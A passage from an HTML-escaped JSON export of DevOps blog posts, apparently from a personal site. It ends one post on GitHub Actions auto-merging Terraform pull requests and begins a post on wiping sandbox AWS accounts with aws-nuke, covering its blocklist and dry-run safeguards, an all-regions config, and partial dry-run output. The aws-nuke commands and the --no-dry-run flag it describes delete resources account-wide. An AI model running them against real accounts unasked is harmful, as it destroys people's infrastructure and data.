data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e checks\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e statuses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e outputs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pullRequestNumber\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Get information about the current run\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epotiuk/get-workflow-origin@v1_5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworkflow-run-info\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sourceRunId\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.workflow_run.id }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003emerge a pull request after terraform apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esudo-bot/action-pull-request-merge@v1.2.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e github-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will wait until the \u003ccode\u003epr_apply\u003c/code\u003e job completes and as long as it was\nsuccessful it will merge the branch!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: As I mentioned earlier, the event based actions do not run in the\ncontext of the pull request which means you cannot test changes to them during\nthe PR either. You must merge the \u003ccode\u003eon-apply-finished.yml\u003c/code\u003e file to \u003ccode\u003emain\u003c/code\u003e\nbefore it starts working.\u003c/p\u003e\n\u003ch1\u003eBranch Protection\u003c/h1\u003e\n\u003cp\u003eThe final step to the process is to make sure you go to your github settings\nand make sure these status checks are required before merging. Branch protection\nis a feature that will prevent merging changes into a branch unless all\nrequired checks are passing.\u003c/p\u003e\n\u003cp\u003eGo to \u003ccode\u003eSettings\u003c/code\u003e -\u003e \u003ccode\u003eBranches\u003c/code\u003e -\u003e \u003ccode\u003eBranch Protection\u003c/code\u003e and add a branch\nprotection rule:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/branch_protection.png\" width=\"500\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou want to enable the following settings:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eBranch Name\u003c/strong\u003e: main\u003c/li\u003e\n\u003cli\u003e✅ Require a pull request before merging\u003c/li\u003e\n\u003cli\u003e✅ Require status checks to pass before merging\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen for \u003ccode\u003eStatus checks that are required.\u003c/code\u003e select all of the ones we have\ncreated:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/required_checks.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eHelpful Resources\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials?product_intent=terraform\"\u003eTerraform Dynamic Credentials Tutorial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration\"\u003eTerraform docs on Dynamic Credentials\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token\"\u003eGithub's understanding OIDC\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","category":"AWS","date":"2023-06-23T00:00:00Z","tags":["AWS","DevOps","SRE"],"title":"AWS From Scratch with Terraform - Setting up your Root Account for IaC with Terraform Cloud and Github actions."},{"id":["2023","nuking_aws_account"],"path":"2023/nuking_aws_account","contentHtml":"\u003cp\u003eWhen you are an SRE/DevOps engineer you will end up making AWS accounts and\ncreate a lot of cruft in your sandbox and development accounts. AWS\ndoes not make it easy to clear these up but there is a tool called\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003eaws-nuke\u003c/a\u003e that will do it for you!\u003c/p\u003e\n\u003ch1\u003eSafe Guards\u003c/h1\u003e\n\u003cp\u003eaws-nuke has a few safeguards in place to prevent inadvertent data loss.\nThe first of which is it requires you to alias the targeted account. I\nlike to put \u003ccode\u003enuke\u003c/code\u003e in the alias to make it clear.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e iam\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create-account-alias\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --account-alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eaccoun\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003et\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe second safe-guard is the config takes a key called \u003ccode\u003eaccount-blocklist\u003c/code\u003e\nthat will guarantee nuke will not run against it no matter what.\u003c/p\u003e\n\u003cp\u003eThe final safety switch it has is it will not take any action by default,\nit will only execute a dry-run. You need to run the CLI with\n\u003ccode\u003e--no-dry-run\u003c/code\u003e if you want it to take action.\u003c/p\u003e\n\u003ch1\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eYou configure \u003ccode\u003eaws-nuke\u003c/code\u003e with YAML, so the first step is to define that:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eregions:\n - us-east-1\n - global\n\naccount-blocklist:\n - \"888888888888\" # production\n\naccounts:\n \"777777777777\": {} # nuke-\u0026#x3C;account\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis will prevent us from nuking our production account and target all resources\nin the account we actually want to nuke.\u003c/p\u003e\n\u003cp\u003eYou might want to have it nuke \u003cem\u003eALL REGIONS\u003c/em\u003e in AWS since you may not know which\nregions resources are deployed in. To do this you can query the regions from AWS:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ec2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe-regions\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --all-regions\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --query\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Regions[*].RegionName\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --output\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e text\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e xargs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sort\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich would give you an updated config of:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # Global resources like IAM\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI personally do not recommend targeting all AWS regions at the same time. It\nwill generate a lot of output and be slow. You could do it if necessary but\nmost people only have a few regions they use and so they can set those directly.\nFor example, maybe you only use \u003ccode\u003eus-\u003c/code\u003e based regions?\u003c/p\u003e\n\u003cp\u003eSo lets run the dry-run and see what it wants to nuke:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws-nuke\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis should output something like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e really\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e account\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 777777777777\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'nuke-sandbox'?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e continue?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Enter\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e account\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e continue.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nuke-sandbox\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0cd9975a443a6304b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0be39d02e399a371c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan 